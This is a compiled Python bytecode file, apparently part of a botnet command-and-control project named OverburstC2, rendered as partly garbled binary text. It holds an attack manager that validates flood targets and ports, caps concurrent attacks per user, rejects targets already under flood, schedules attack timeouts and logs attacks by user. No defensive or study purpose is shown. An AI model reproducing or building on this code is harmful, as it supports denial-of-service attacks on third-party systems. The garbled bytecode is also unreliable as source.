
    5+j                     h    S SK r S SKrS SKrS SKJrJrJr  S SKJr  S SK	J
r
  S SKJr   " S S5      rg)    N)validate_ipvalidate_portvalidate_time)sanitize_log)is_blacklisted)Forec                   8    \ rS rSrS rS rS rS rS rS r	Sr
g	)
AttackManager	   c                 L    Xl         X l        X0l        X@l        XPl        X`l        g )N)attacksglobal_limitslocksbot_managersend	broadcast)selfattacks_dictr   r   r   	send_funcbroadcast_funcs          ,/tmp/OverburstC2/src/utils/attack_manager.py__init__AttackManager.__init__
   s"    #*
&	'    c           	      b   U R                   R                  SS5      n[        U5      (       a$  U R                  U[        R
                   S35        g[        U5      (       d$  U R                  U[        R
                   S35        g[        U5      (       d$  U R                  U[        R
                   S35        gU R                   R                  SS5      nU R                   R                  S	S
5      n[        X7U5      (       d*  U R                  U[        R
                   SU SU S35        gU R                  S      [        U R                  5      U:  a-  U R                  U[        R
                   S35         S S S 5        gX@R                  ;   a-  U R                  U[        R
                   S35         S S S 5        gU R                  R                  5        H;  u  pU
S   U:X  d  M  U R                  U[        R
                   S35          S S S 5        g   S S S 5        g! , (       d  f       g= f)Nmax_attacksd   zTarget is blacklisted!
FzInvalid IP address
zInvalid port number (1-65535)
min_time
   max_timei  zInvalid attack duration (-z
 seconds)
r   zNo slots available!
zAttack already sent!
targetz/Target is already under flood, don't abuse it!
T)r   getr   r   r   REDr   r   r   r   lenr   items)r   ipportsecsusernameclientr   r   r    userinfos              r   
can_launchAttackManager.can_launch   s   ((,,]C@"IIf
*BCD2IIf
*>?@T""IIf
*IJK%%))*b9%%))*d;TX66IIf
*CH:QxjXcdeZZ	"4<< K/		&TXXJ.C"DE #"
 <<'		&TXXJ.D"EF #" #ll002
>R'IIf
2c&de  #" 3 #  #" s$   ;>H 3H >&H ($H H  
H.c                 J   U R                   S      X$US.U R                  U'   S S S 5        [        R                  " U R                  U[        U5      4SS9R                  5         [        R                  " S[        U5       SU SU SU S	U S
35        g ! , (       d  f       Nw= f)Nr   )r"   durationmethodT)r"   argsdaemonzAtaque iniciado: z => :z (z) por s)
r   r   	threadingThread_remove_after_timeoutintstartloggingr-   r   )r   r*   r'   r(   r)   r2   s         r   launchAttackManager.launch7   s    ZZ	"02PV%WDLL" # 	 : :(CPTIAV_cdjjl(h)?(@RD$rRXQYY_`d_eefgh	 #"s   B
B"c                     U R                   S      XR                  ;   a  U R                  U	  S S S 5        g S S S 5        g! , (       d  f       g= f)Nr   TF)r   r   )r   r*   s     r   stopAttackManager.stop>   sJ    ZZ	"<<'LL* #"' # 	 #" s   A
Ac                     [         R                  " U5        U R                  S      XR                  ;   a0  [        R
                  " S[        U5       S35        U R                  U	 S S S 5        g ! , (       d  f       g = f)Nr   z
Ataque de z finalizado (timeout))timesleepr   r   r<   r-   r   )r   r*   timeouts      r   r9   #AttackManager._remove_after_timeoutE   sX    

7ZZ	"<<'z,x*@)AAVWXLL* #""s   A A//
A=c                     U R                   S      [        U R                  5      sS S S 5        $ ! , (       d  f       g = f)Nr   )r   r%   r   )r   s    r   	get_countAttackManager.get_countL   s&    ZZ	"t||$ #""s   /
=)r   r   r   r   r   r   N)__name__
__module____qualname____firstlineno__r   r.   r=   r@   r9   rH   __static_attributes__ r   r   r
   r
   	   s"    (#Ji+%r   r
   )r<   rC   r7   src.utils.validatorsr   r   r   src.utils.securityr   src.blacklist.blacklistr   coloramar   r
   rO   r   r   <module>rT      s)       J J + 2 E% E%r   